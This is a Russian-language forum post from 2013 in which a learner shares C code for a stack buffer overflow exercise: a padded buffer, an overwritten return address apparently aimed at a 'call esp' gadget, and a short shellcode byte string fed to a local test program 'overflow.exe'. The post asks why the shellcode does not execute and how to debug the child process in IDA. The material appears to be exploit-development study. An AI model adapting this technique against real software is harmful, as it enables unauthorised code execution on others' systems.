
17.02.2013, 19:18
|
|
Участник форума
Регистрация: 16.10.2011
Сообщений: 142
С нами:
7670486
Репутация:
0
|
|
Сообщение от RoksHD
Регистр ESP указывает ВСЕГДА на вершину стека. Если у тебя правильно перетерся EIP, то ESP указывает на код, который идет после этого адреса (в моем шелкоде там идут нопы (0x90))
Да, надо было несколько \x35 убрать и все заработало Сейчас переделаю свой код.
Upd.
Код:
#include
#include
#include
char shellcode[] =
"\x31\xc0\xbb\x46"
"\x24\x80\x7c\x66"
"\xb8\x98\x3a\x50"
"\xff\xd3";
int main(int argc, char* argv[]) {
char buf[300];
char exec[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x41,112);
buf[112] = '\x83';
buf[113] = '\x9F';
buf[114] = '\x80';
buf[115] = '\x7c';
//memset(buf+strlen(buf), 0x90, 5);
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));
sprintf(exec,"overflow.exe %s",buf);
system(exec);
system("pause");
return 0;
}
На выходе имею:
Судя по всему call esp выполняется, чтобы проверить записываем после call esp перед шеллом 5 нопов.
Теперь в выводе видим, что эти 5 нопов появились в команде, значит call esp выполнился и нас перебросило на шеллкод. Так вот не понимаю, почему он не выполняется
P.S. Вопрос для знатоков, можно ли в IDA, при вызове одной программы из другой, как в данном случае например, дизассемблировать вызываемую программу? То есть если exec.exe вызывает overflow.exe - IDA во время вызова overflow.exe, подключается к ней.
|
|
|